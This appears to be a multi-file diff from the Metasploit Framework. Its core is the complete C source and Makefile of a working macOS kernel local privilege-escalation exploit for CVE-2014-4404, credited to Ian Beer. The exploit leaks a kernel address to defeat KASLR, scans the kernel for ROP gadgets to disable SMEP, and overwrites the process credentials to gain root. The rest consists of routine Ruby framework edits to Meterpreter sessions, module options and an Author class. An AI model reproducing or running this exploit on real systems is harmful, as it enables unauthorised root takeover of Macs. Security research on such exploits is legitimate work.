'QUERY' = HTTP URI Query usually in the param1=value1& form.
|
||||
'DATA' = HTTP Data. In a POST request is the body of the request.
|
||||
Usually in the param1=value1& form.
|
||||
'HEADERS'= HTTP headers (header1=value1;..)
|
||||
|
||||
OptBool:
|
||||
|
||||
'VERBOSE'= Verbose flag.
|
||||
|
||||
Note: This naming convention may change. However if this naming
|
||||
convention is used any changes can be implemented easily.
|
||||
|
||||
- Also if you want to take the big task of developing a ruby MITM proxy for
|
||||
metasploit that will be very helpfull for the project.
|
||||
|
||||
=[ Disclaimer ]---------------------------------------------------------------
|
||||
I dont work for R7. XD
|
||||
==============================================================================
|
||||
et [ ] metasploit.com 2012
|
||||
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
all: key_exploit
|
||||
|
||||
key_exploit: key_exploit.c
|
||||
clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
|
||||
|
||||
install: key_exploit
|
||||
install -m 755 key_exploit ../../../../data/exploits/CVE-2014-4404
|
||||
|
||||
clean:
|
||||
rm -rf key_exploit
|
||||
rm -rf key_exploit.dSYM
|
|
@ -0,0 +1,375 @@
|
|||
//
|
||||
// Source: https://code.google.com/p/google-security-research/issues/detail?id=126
|
||||
// Blog Post: http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html
|
||||
// Exploit Author: Ian Beer
|
||||
//
|
||||
|
||||
// clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
|
||||
// ianbeer
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
uint64_t kernel_symbol(char* sym){
|
||||
char cmd[1024];
|
||||
strcpy(cmd, "nm -g /mach_kernel | grep ");
|
||||
strcat(cmd, sym);
|
||||
strcat(cmd, " | cut -d' ' -f1");
|
||||
FILE* f = popen(cmd, "r");
|
||||
char offset_str[17];
|
||||
fread(offset_str, 16, 1, f);
|
||||
pclose(f);
|
||||
offset_str[16] = '\x00';
|
||||
|
||||
uint64_t offset = strtoull(offset_str, NULL, 16);
|
||||
return offset;
|
||||
}
|
||||
|
||||
uint64_t leaked_offset_in_kext(){
|
||||
FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");
|
||||
char offset_str[17];
|
||||
fread(offset_str, 16, 1, f);
|
||||
pclose(f);
|
||||
offset_str[16] = '\x00';
|
||||
|
||||
uint64_t offset = strtoull(offset_str, NULL, 16);
|
||||
offset += 0x10; //offset from symbol to leaked pointer
|
||||
return offset;
|
||||
}
|
||||
|
||||
|
||||
uint64_t leak(){
|
||||
io_iterator_t iter;
|
||||
|
||||
CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
|
||||
kIOServicePlane,
|
||||
CFSTR("AAPL,iokit-ndrv"),
|
||||
kCFAllocatorDefault,
|
||||
kIORegistryIterateRecursively);
|
||||
|
||||
if (CFGetTypeID(p) != CFDataGetTypeID()){
|
||||
printf("expected CFData\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (CFDataGetLength(p) != 8){
|
||||
printf("expected 8 bytes\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
|
||||
return leaked;
|
||||
}
|
||||
|
||||
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
|
||||
|
||||
uint64_t load_addr(){
|
||||
uint64_t addr = 0;
|
||||
CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
|
||||
CFIndex count = CFDictionaryGetCount(kd);
|
||||
|
||||
void **keys;
|
||||
void **values;
|
||||
|
||||
keys = (void **)malloc(sizeof(void *) * count);
|
||||
values = (void **)malloc(sizeof(void *) * count);
|
||||
|
||||
CFDictionaryGetKeysAndValues(kd,
|
||||
(const void **)keys,
|
||||
(const void **)values);
|
||||
|
||||
for(CFIndex i = 0; i < count; i++){
|
||||
const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
|
||||
if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
|
||||
CFNumberGetValue(CFDictionaryGetValue(values[i],
|
||||
CFSTR("OSBundleLoadAddress")),
|
||||
kCFNumberSInt64Type,
|
||||
&addr);
|
||||
printf("%s: %p\n", name, addr);
|
||||
break;
|
||||
}
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
uint64_t* build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len){
|
||||
uint64_t pivot, mov_rax_cr4, mov_cr4_rax, pop_rcx, xor_rax_rcx, pop_pop_ret;
|
||||
|
||||
uint64_t kernel_base = 0xffffff8000200000;
|
||||
kernel_base += kaslr_slide;
|
||||
|
||||
int fd = open("/mach_kernel", O_RDONLY);
|
||||
if (!fd)
|
||||
return NULL;
|
||||
|
||||
struct stat _stat;
|
||||
fstat(fd, &_stat);
|
||||
size_t buf_len = _stat.st_size;
|
||||
|
||||
uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);
|
||||
|
||||
if (!buf)
|
||||
return NULL;
|
||||
|
||||
/*
|
||||
this stack pivot to rax seems to be reliably present across mavericks versions:
|
||||
push rax
|
||||
add [rax], eax
|
||||
add [rbx+0x41], bl
|
||||
pop rsp
|
||||
pop r14
|
||||
pop r15
|
||||
pop rbp
|
||||
ret
|
||||
*/
|
||||
uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
|
||||
uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
|
||||
uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
|
||||
printf("offset of pivot gadget: %p\n", pivot_gadget_offset);
|
||||
pivot = kernel_base + pivot_gadget_offset;
|
||||
|
||||
/*
|
||||
mov rax, cr4
|
||||
mov [rcx], rax
|
||||
pop rbp
|
||||
ret
|
||||
*/
|
||||
uint8_t mov_rax_cr4_gadget_bytes[] = {0x0f, 0x20, 0xe0, 0x48, 0x89, 0x01, 0x5d, 0xc3};
|
||||
uint8_t* mov_rax_cr4_loc = memmem(buf, buf_len, mov_rax_cr4_gadget_bytes, sizeof(mov_rax_cr4_gadget_bytes));
|
||||
uint64_t mov_rax_cr4_gadget_offset = (uint64_t)(mov_rax_cr4_loc - buf);
|
||||
printf("offset of mov_rax_cr4 gadget: %p\n", mov_rax_cr4_gadget_offset);
|
||||
mov_rax_cr4 = kernel_base + mov_rax_cr4_gadget_offset;
|
||||
|
||||
/*
|
||||
mov cr4, rax
|
||||
pop rbp
|
||||
ret
|
||||
*/
|
||||
uint8_t mov_cr4_rax_gadget_bytes[] = {0x0f, 0x22, 0xe0, 0x5d, 0xc3};
|
||||
uint8_t* mov_cr4_rax_loc = memmem(buf, buf_len, mov_cr4_rax_gadget_bytes, sizeof(mov_cr4_rax_gadget_bytes));
|
||||
uint64_t mov_cr4_rax_gadget_offset = (uint64_t)(mov_cr4_rax_loc - buf);
|
||||
printf("offset of mov_cr4_rax gadget: %p\n", mov_cr4_rax_gadget_offset);
|
||||
mov_cr4_rax = kernel_base + mov_cr4_rax_gadget_offset;
|
||||
|
||||
/*
|
||||
pop rcx
|
||||
ret
|
||||
*/
|
||||
uint8_t pop_rcx_gadget_bytes[] = {0x59, 0xc3};
|
||||
uint8_t* pop_rcx_loc = memmem(buf, buf_len, pop_rcx_gadget_bytes, sizeof(pop_rcx_gadget_bytes));
|
||||
uint64_t pop_rcx_gadget_offset = (uint64_t)(pop_rcx_loc - buf);
|
||||
printf("offset of pop_rcx gadget: %p\n", pop_rcx_gadget_offset);
|
||||
pop_rcx = kernel_base + pop_rcx_gadget_offset;
|
||||
|
||||
|
||||
/*
|
||||
xor rax, rcx
|
||||
pop rbp
|
||||
ret
|
||||
*/
|
||||
uint8_t xor_rax_rcx_gadget_bytes[] = {0x48, 0x31, 0xc8, 0x5d, 0xc3};
|
||||
uint8_t* xor_rax_rcx_loc = memmem(buf, buf_len, xor_rax_rcx_gadget_bytes, sizeof(xor_rax_rcx_gadget_bytes));
|
||||
uint64_t xor_rax_rcx_gadget_offset = (uint64_t)(xor_rax_rcx_loc - buf);
|
||||
printf("offset of xor_rax_rcx gadget: %p\n", xor_rax_rcx_gadget_offset);
|
||||
xor_rax_rcx = kernel_base + xor_rax_rcx_gadget_offset;
|
||||
|
||||
/* need this to jump over the vtable index which will be called:
|
||||
pop r15
|
||||
pop rbp
|
||||
ret
|
||||
*/
|
||||
uint8_t pop_pop_ret_gadget_bytes[] = {0x41, 0x5f, 0x5d, 0xc3};
|
||||
uint8_t* pop_pop_ret_loc = memmem(buf, buf_len, pop_pop_ret_gadget_bytes, sizeof(pop_pop_ret_gadget_bytes));
|
||||
uint64_t pop_pop_ret_gadget_offset = (uint64_t)(pop_pop_ret_loc - buf);
|
||||
printf("offset of pop_pop_ret gadget: %p\n", pop_pop_ret_gadget_offset);
|
||||
pop_pop_ret = kernel_base + pop_pop_ret_gadget_offset;
|
||||
|
||||
munmap(buf, buf_len);
|
||||
close(fd);
|
||||
|
||||
void* writable_scratch = malloc(8);
|
||||
memset(writable_scratch, 0, 8);
|
||||
|
||||
uint64_t rop_stack[] = {
|
||||
0, //pop r14
|
||||
0, //pop r15
|
||||
0, //pop rbp +10
|
||||
pop_pop_ret,
|
||||
0, //+20
|
||||
pivot, //+28
|
||||
pop_rcx,
|
||||
(uint64_t)writable_scratch,
|
||||
mov_rax_cr4,
|
||||
0, //pop rbp
|
||||
pop_rcx,
|
||||
0x00100000, //SMEP bit in cr4
|
||||
xor_rax_rcx, //flip it
|
||||
0, //pop rbp
|
||||
mov_cr4_rax, //write back to cr4
|
||||
0, //pop rbp
|
||||
payload //SMEP is now disabled so ret to payload in userspace
|
||||
};
|
||||
|
||||
uint64_t* r = malloc(sizeof(rop_stack));
|
||||
memcpy(r, rop_stack, sizeof(rop_stack));
|
||||
*len = sizeof(rop_stack);
|
||||
return r;
|
||||
}
|
||||
|
||||
void (*IOLockUnlock) (void*);
|
||||
int (*KUNCExecute)(char*, int, int);
|
||||
void (*thread_exception_return)();
|
||||
void* (*proc_ucred)(void*);
|
||||
void* (*kauth_cred_get)();
|
||||
void* (*kauth_cred_setuidgid)(void*, int, int);
|
||||
void* (*current_proc)();
|
||||
|
||||
void rebase_kernel_payload(uint64_t kaslr_slide){
|
||||
IOLockUnlock = kernel_symbol("_lck_mtx_unlock") + kaslr_slide;
|
||||
KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;
|
||||
thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;
|
||||
proc_ucred = kernel_symbol("_proc_ucred") + kaslr_slide;
|
||||
kauth_cred_get = kernel_symbol("_kauth_cred_get") + kaslr_slide;
|
||||
kauth_cred_setuidgid = kernel_symbol("_kauth_cred_setuidgid") + kaslr_slide;
|
||||
current_proc = kernel_symbol("_current_proc") + kaslr_slide;
|
||||
}
|
||||
|
||||
// rather than working out the offset of p_ucred in the proc structure just get
|
||||
// the code to tell us :)
|
||||
// proc_ucred just does return arg->u_cred
|
||||
uint64_t find_ucred_offset(){
|
||||
uint64_t offsets[0x80];
|
||||
for (int i = 0; i < 0x80; i++){
|
||||
offsets[i] = i*8;
|
||||
}
|
||||
return proc_ucred(offsets);
|
||||
}
|
||||
|
||||
// need to drop this IOLock:
|
||||
// IOLockLock( _deviceLock);
|
||||
// at code exec time rbx points to this, and this->_delegate->deviceLock is that lock
|
||||
// so need to call IOLockUnlock(rbx->_delegate->deviceLock)
|
||||
void kernel_payload(){
|
||||
uint8_t* this;
|
||||
//__asm__("int $3");
|
||||
__asm__("movq %%rbx, %0" : "=r"(this) : :);
|
||||
//this now points to the IOHIKeyboardMapper
|
||||
uint8_t* IOHIKeyboard = *((uint8_t**)(this+0x10));
|
||||
void* _device_lock = *((void**)(IOHIKeyboard+0x88));
|
||||
IOLockUnlock(_device_lock);
|
||||
|
||||
// real kernel payload goes here:
|
||||
//KUNCExecute("/Applications/Calculator.app/Contents/MacOS/Calculator", 0, 0);
|
||||
//thread_exception_return();
|
||||
|
||||
// get root:
|
||||
uint64_t ucred_offset = find_ucred_offset();
|
||||
void* old_cred = kauth_cred_get();
|
||||
void* new_cred = kauth_cred_setuidgid(old_cred, 0, 0);
|
||||
uint8_t* proc = current_proc();
|
||||
*((void**)(proc+ucred_offset)) = new_cred;
|
||||
thread_exception_return();
|
||||
}
|
||||
|
||||
void trigger(void* vtable, size_t vtable_len, char* exe){
|
||||
kern_return_t err;
|
||||
|
||||
CFMutableDictionaryRef matching = IOServiceMatching("IOHIDKeyboard");
|
||||
if(!matching){
|
||||
printf("unable to create service matching dictionary\n");
|
||||
return;
|
||||
}
|
||||
|
||||
io_iterator_t iterator;
|
||||
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("no matches\n");
|
||||
return;
|
||||
}
|
||||
|
||||
io_service_t service = IOIteratorNext(iterator);
|
||||
|
||||
if (service == IO_OBJECT_NULL){
|
||||
printf("unable to find service\n");
|
||||
return;
|
||||
}
|
||||
printf("got service: %x\n", service);
|
||||
|
||||
char* bad_mapping = malloc(0x10000);
|
||||
memset(bad_mapping, 0, 0x10000);
|
||||
|
||||
uint8_t bad_header[] = {
|
||||
0x00, 0x01, // nmd.shorts = 1
|
||||
0x00, 0x00, // numMods = 0
|
||||
0x00, 0x00, // numDefs = 0
|
||||
0x00, 0x90, // numSeqs = 0x90
|
||||
};
|
||||
|
||||
memcpy(bad_mapping, bad_header, sizeof(bad_header));
|
||||
|
||||
uint8_t bad_seq[] = {
|
||||
0x00, 0x02, // len
|
||||
0x00, 0x78, 0x56, 0x00, // first entry
|
||||
0x00, 0x00, 0x00, 0x00, // second entry
|
||||
0xff, 0xff, // numMods
|
||||
};
|
||||
|
||||
memcpy(bad_mapping + sizeof(bad_header) + 0x8f*2, bad_seq, sizeof(bad_seq));
|
||||
|
||||
//need to overallocate and touch the pages since this will be the stack:
|
||||
mach_vm_address_t addr = 0x0000005678000000 - 10 * 0x1000;
|
||||
mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);
|
||||
|
||||
memset(addr, 0, 0x20*0x1000);
|
||||
|
||||
memcpy((void*)0x5678000200, vtable, vtable_len);
|
||||
/*
|
||||
uint64_t* vtable_entry = (uint64_t*)(0x0000005678000200 + 0x28);
|
||||
*vtable_entry = 0x123456789abcdef0; // call this address in ring0
|
||||
*/
|
||||
|
||||
|
||||
CFDataRef data = CFDataCreate(NULL, bad_mapping, 0x10000);
|
||||
|
||||
err = IORegistryEntrySetCFProperty(
|
||||
service,
|
||||
CFSTR("HIDKeyMapping"),
|
||||
data);
|
||||
|
||||
execve(exe, NULL, NULL);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc < 2) { printf("Usage: ./%s [payload_exe]\n", argv[0]); exit(1); }
|
||||
|
||||
uint64_t leaked_ptr = leak();
|
||||
uint64_t kext_load_addr = load_addr();
|
||||
|
||||
// get the offset of that pointer in the kext:
|
||||
uint64_t offset = leaked_offset_in_kext(); //0x8cf0;
|
||||
|
||||
// sanity check the leaked address against the symbol addr:
|
||||
if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){
|
||||
printf("the leaked pointer doesn't match up with the expected symbol offset\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;
|
||||
|
||||
printf("kaslr slide: %p\n", kaslr_slide);
|
||||
|
||||
rebase_kernel_payload(kaslr_slide);
|
||||
|
||||
size_t vtable_len = 0;
|
||||
void* vtable = build_vtable(kaslr_slide, kernel_payload, &vtable_len);
|
||||
|
||||
trigger(vtable, vtable_len, argv[1]);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -107,7 +107,7 @@ class Metasploit::Framework::CredentialCollection
|
|||
File.open(user_file, 'r:binary') do |user_fd|
|
||||
user_fd.each_line do |user_from_file|
|
||||
user_from_file.chomp!
|
||||
if password
|
||||
if password.present?
|
||||
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
|
||||
end
|
||||
if user_as_pass
|
||||
|
|
|
@ -30,10 +30,12 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
|
||||
include Msf::Session::Scriptable
|
||||
|
||||
# Override for server implementations that can't do ssl
|
||||
# Override for server implementations that can't do SSL
|
||||
def supports_ssl?
|
||||
true
|
||||
end
|
||||
|
||||
# Override for server implementations that can't do zlib
|
||||
def supports_zlib?
|
||||
true
|
||||
end
|
||||
|
@ -49,11 +51,24 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
|||
:ssl => supports_ssl?,
|
||||
:zlib => supports_zlib?
|
||||
}
|
||||
|
||||
# The caller didn't request to skip ssl, so make sure we support it
|
||||
if not opts[:skip_ssl]
|
||||
# the caller didn't request to skip ssl, so make sure we support it
|
||||
opts.merge!(:skip_ssl => (not supports_ssl?))
|
||||
end
|
||||
|
||||
#
|
||||
# Parse options passed in via the datastore
|
||||
#
|
||||
|
||||
# Extract the HandlerSSLCert option if specified by the user
|
||||
if opts[:datastore] and opts[:datastore]['HandlerSSLCert']
|
||||
opts[:ssl_cert] = opts[:datastore]['HandlerSSLCert']
|
||||
end
|
||||
|
||||
# Don't pass the datastore into the init_meterpreter method
|
||||
opts.delete(:datastore)
|
||||
|
||||
#
|
||||
# Initialize the meterpreter client
|
||||
#
|
||||
|
|
|
@ -15,7 +15,8 @@ module MeterpreterOptions
|
|||
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
|
||||
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
|
||||
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true])
|
||||
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true]),
|
||||
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/base/sessions/meterpreter'
|
||||
require 'msf/windows_error'
|
||||
|
||||
module Msf
|
||||
module Sessions
|
||||
|
@ -11,19 +12,109 @@ module Sessions
|
|||
#
|
||||
###
|
||||
class Meterpreter_Python_Python < Msf::Sessions::Meterpreter
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
ERROR_TYPE_UNKNOWN = 1
|
||||
ERROR_TYPE_PYTHON = 2
|
||||
ERROR_TYPE_WINDOWS = 3
|
||||
# 16-bit CRC-CCITT XMODEM
|
||||
PYTHON_ERROR_CRCS = {
|
||||
0x02dd => 'NotImplementedError',
|
||||
0x049a => 'RuntimeWarning',
|
||||
0x09ae => 'IndentationError',
|
||||
0x0bf4 => 'SystemExit',
|
||||
0x1494 => 'GeneratorExit',
|
||||
0x1511 => 'ConnectionRefusedError',
|
||||
0x1765 => 'SyntaxWarning',
|
||||
0x1f0e => 'SystemError',
|
||||
0x33b1 => 'StandardError',
|
||||
0x37b8 => 'IOError',
|
||||
0x39df => 'PermissionError',
|
||||
0x39e6 => 'AttributeError',
|
||||
0x3b70 => 'ChildProcessError',
|
||||
0x3c93 => 'UserWarning',
|
||||
0x3ca3 => 'BufferError',
|
||||
0x3e32 => 'StopIteration',
|
||||
0x423c => 'NotADirectoryError',
|
||||
0x42f1 => 'ConnectionError',
|
||||
0x453b => 'UnboundLocalError',
|
||||
0x470d => 'LookupError',
|
||||
0x4cb2 => 'WindowsError',
|
||||
0x4ecc => 'ResourceWarning',
|
||||
0x532d => 'UnicodeEncodeError',
|
||||
0x5dde => 'ConnectionAbortedError',
|
||||
0x6011 => 'EOFError',
|
||||
0x637f => 'UnicodeWarning',
|
||||
0x6482 => 'RuntimeError',
|
||||
0x6a75 => 'ArithmeticError',
|
||||
0x6b73 => 'BlockingIOError',
|
||||
0x70e0 => 'UnicodeDecodeError',
|
||||
0x72b4 => 'AssertionError',
|
||||
0x75a1 => 'TabError',
|
||||
0x77c2 => 'ReferenceError',
|
||||
0x7a4c => 'FutureWarning',
|
||||
0x7a78 => 'Warning',
|
||||
0x7ef9 => 'IsADirectoryError',
|
||||
0x81dc => 'ConnectionResetError',
|
||||
0x87fa => 'OSError',
|
||||
0x8937 => 'KeyError',
|
||||
0x8a80 => 'SyntaxError',
|
||||
0x8f3e => 'TypeError',
|
||||
0x9329 => 'MemoryError',
|
||||
0x956e => 'ValueError',
|
||||
0x96a1 => 'OverflowError',
|
||||
0xa451 => 'InterruptedError',
|
||||
0xa4d7 => 'FileExistsError',
|
||||
0xb19a => 'ZeroDivisionError',
|
||||
0xb27b => 'IndexError',
|
||||
0xb628 => 'UnicodeError',
|
||||
0xbb63 => 'TimeoutError',
|
||||
0xbc91 => 'ImportWarning',
|
||||
0xc18f => 'BrokenPipeError',
|
||||
0xc3a0 => 'KeyboardInterrupt',
|
||||
0xcbab => 'ImportError',
|
||||
0xcd47 => 'NameError',
|
||||
0xcd82 => 'ProcessLookupError',
|
||||
0xdd4a => 'BaseException',
|
||||
0xe5a3 => 'BytesWarning',
|
||||
0xe97a => 'FileNotFoundError',
|
||||
0xe98a => 'PendingDeprecationWarning',
|
||||
0xf47c => 'DeprecationWarning',
|
||||
0xf7c6 => 'Exception',
|
||||
0xfa9d => 'EnvironmentError',
|
||||
0xfcb4 => 'UnicodeTranslateError',
|
||||
0xff8d => 'FloatingPointError'
|
||||
}
|
||||
|
||||
def initialize(rstream, opts={})
|
||||
super
|
||||
self.platform = 'python/python'
|
||||
self.binary_suffix = 'py'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
def lookup_error(error_code)
|
||||
unknown_error = 'Unknown error'
|
||||
error_type = error_code & 0x0f
|
||||
return unknown_error if error_type == ERROR_TYPE_UNKNOWN
|
||||
|
||||
error_code &= 0xffff0000
|
||||
error_code >>= 16
|
||||
|
||||
if error_type == ERROR_TYPE_PYTHON
|
||||
python_error = PYTHON_ERROR_CRCS[error_code]
|
||||
return "Python exception: #{python_error}" unless python_error.nil?
|
||||
elsif error_type == ERROR_TYPE_WINDOWS
|
||||
return "Windows error: #{Msf::WindowsError.description(error_code)}"
|
||||
end
|
||||
|
||||
unknown_error
|
||||
end
|
||||
|
||||
def supports_ssl?
|
||||
false
|
||||
end
|
||||
|
||||
def supports_zlib?
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -55,7 +55,7 @@ module Auxiliary
|
|||
|
||||
# Verify the ACTION
|
||||
if (mod.actions.length > 0 and not mod.action)
|
||||
raise MissingActionError, "You must specify a valid Action", caller
|
||||
raise MissingActionError, "Please use: #{mod.actions.collect {|e| e.name} * ", "}"
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
|
@ -113,6 +113,8 @@ module Auxiliary
|
|||
# be normalized
|
||||
mod.validate
|
||||
|
||||
mod.setup
|
||||
|
||||
# Run check
|
||||
mod.check
|
||||
end
|
||||
|
|
|
@ -182,6 +182,8 @@ module Exploit
|
|||
# be normalized
|
||||
mod.validate
|
||||
|
||||
mod.setup
|
||||
|
||||
# Run check
|
||||
mod.check
|
||||
end
|
||||
|
|
|
@ -7,6 +7,9 @@ module Msf
|
|||
#
|
||||
# @return [void]
|
||||
def init_module_paths(opts={})
|
||||
if @module_paths_inited
|
||||
fail "Module paths already initialized. To add more module paths call `modules.add_module_path`"
|
||||
else
|
||||
# Ensure the module cache is accurate
|
||||
self.modules.refresh_cache_from_database
|
||||
|
||||
|
@ -28,6 +31,9 @@ module Msf
|
|||
self.modules.add_module_path(path, opts)
|
||||
}
|
||||
end
|
||||
|
||||
@module_paths_inited = true
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
|
|
@ -3,15 +3,18 @@ require 'msf/core'
|
|||
|
||||
###
|
||||
#
|
||||
# This data type represents an author of a piece of code in either
|
||||
# the framework, a module, a script, or something entirely unrelated.
|
||||
# An author of a piece of code in either the framework, a module, a script,
|
||||
# or something entirely unrelated.
|
||||
#
|
||||
###
|
||||
class Msf::Author
|
||||
|
||||
# A hash of known author names
|
||||
Known =
|
||||
{
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
|
||||
# A hash that maps known author names to email addresses
|
||||
KNOWN = {
|
||||
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
|
||||
'anonymous' => 'Unknown',
|
||||
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
|
||||
|
@ -52,73 +55,99 @@ class Msf::Author
|
|||
}
|
||||
|
||||
#
|
||||
# Class method that translates a string to an instance of the Author class,
|
||||
# if it's of the right format, and returns the Author class instance
|
||||
# Class Methods
|
||||
#
|
||||
|
||||
# Parses an {Author} instance from the specified string.
|
||||
#
|
||||
# @param str [String] the String to parse an Author instance from
|
||||
# @return [Author] a valid {Author} instance
|
||||
# @return nil if `str` is not the correct format
|
||||
def self.from_s(str)
|
||||
instance = self.new
|
||||
|
||||
# If the serialization fails...
|
||||
if (instance.from_s(str) == false)
|
||||
return nil
|
||||
end
|
||||
|
||||
return instance
|
||||
if instance.from_s(str) == true
|
||||
instance
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
# Normalizes a single {Author} reference or an Array of {Author} references
|
||||
# to an Array of {Author} references.
|
||||
#
|
||||
# Transforms the supplied source into an array of authors
|
||||
#
|
||||
# @param src [Author, Array<Author>] a single {Author} or an Array of {Author} instances
|
||||
# @return [Array<Author>] an Array of {Author} instances
|
||||
def self.transform(src)
|
||||
Rex::Transformer.transform(src, Array, [ self ], 'Author')
|
||||
end
|
||||
|
||||
# Constructs an {Author} from a given `name` and `email`
|
||||
#
|
||||
# @param name [String] the author's name
|
||||
# @param email [String] the author's email
|
||||
def initialize(name = nil, email = nil)
|
||||
self.name = name
|
||||
self.email = email || Known[name]
|
||||
self.email = email || KNOWN[name]
|
||||
end
|
||||
|
||||
#
|
||||
# Compares authors
|
||||
# Instance Attributes
|
||||
#
|
||||
|
||||
# @!attribute email
|
||||
# An optional email associated with this {Author}.
|
||||
#
|
||||
# @return [String, nil]
|
||||
attr_accessor :email
|
||||
|
||||
# @!attribute name
|
||||
# The name associated with this {Author}.
|
||||
#
|
||||
# @return [String]
|
||||
attr_reader :name
|
||||
|
||||
#
|
||||
# Instance Methods
|
||||
#
|
||||
|
||||
# @return [Boolean] whether the {Author} instances are equal
|
||||
def ==(tgt)
|
||||
return (tgt.to_s == to_s)
|
||||
tgt.to_s == to_s
|
||||
end
|
||||
|
||||
# Serialize the {Author} instance to a string of the form `name` or `name <a@b.com>`
|
||||
#
|
||||
# Serialize the author object to a string in form:
|
||||
#
|
||||
# name <email>
|
||||
#
|
||||
# @return [String] serialized {Author}
|
||||
def to_s
|
||||
str = "#{name}"
|
||||
|
||||
if (email and not email.empty?)
|
||||
str += " <#{email}>"
|
||||
end
|
||||
|
||||
return str
|
||||
str
|
||||
end
|
||||
|
||||
#
|
||||
# Translate the author from the supplied string which may
|
||||
# have either just a name or also an email address
|
||||
#
|
||||
def from_s(str)
|
||||
|
||||
# Parses {Author} details from the supplied string which may
|
||||
# be of the form `name` or `name <a@b.com>`
|
||||
#
|
||||
# @param str [String] the String to parse from
|
||||
# @return [Boolean] the translation succeeded
|
||||
def from_s(str)
|
||||
|
||||
# Supported formats:
|
||||
# known_name
|
||||
# user [at/@] host [dot/.] tld
|
||||
# Name <user [at/@] host [dot/.] tld>
|
||||
|
||||
|
||||
if str.present?
|
||||
if ((m = str.match(/^\s*([^<]+)<([^>]+)>\s*$/)))
|
||||
self.name = m[1].sub(/<.*/, '')
|
||||
self.email = m[2].sub(/\s*\[at\]\s*/, '@').sub(/\s*\[dot\]\s*/, '.')
|
||||
else
|
||||
if (Known[str])
|
||||
self.email = Known[str]
|
||||
if (KNOWN[str])
|
||||
self.email = KNOWN[str]
|
||||
self.name = str
|
||||
else
|
||||
self.email = str.sub(/\s*\[at\]\s*/, '@').sub(/\s*\[dot\]\s*/, '.').gsub(/^<|>$/, '')
|
||||
|
@ -130,20 +159,21 @@ class Msf::Author
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
self.name.strip! if self.name
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
self.name.strip! if self.name.present?
|
||||
|
||||
# The parse succeeds only when a name is found
|
||||
self.name.present?
|
||||
end
|
||||
|
||||
# Sets the name of the author and updates the email if it's a known author.
|
||||
#
|
||||
# @param name [String] the name to set
|
||||
def name=(name)
|
||||
self.email = Known[name] if (Known[name])
|
||||
if KNOWN.has_key?(name)
|
||||
self.email = KNOWN[name]
|
||||
end
|
||||
@name = name
|
||||
end
|
||||
|
||||
attr_accessor :email
|
||||
attr_reader :name
|
||||
end
|
||||
|
|
|
@ -52,7 +52,8 @@ module Auxiliary::AuthBrute
|
|||
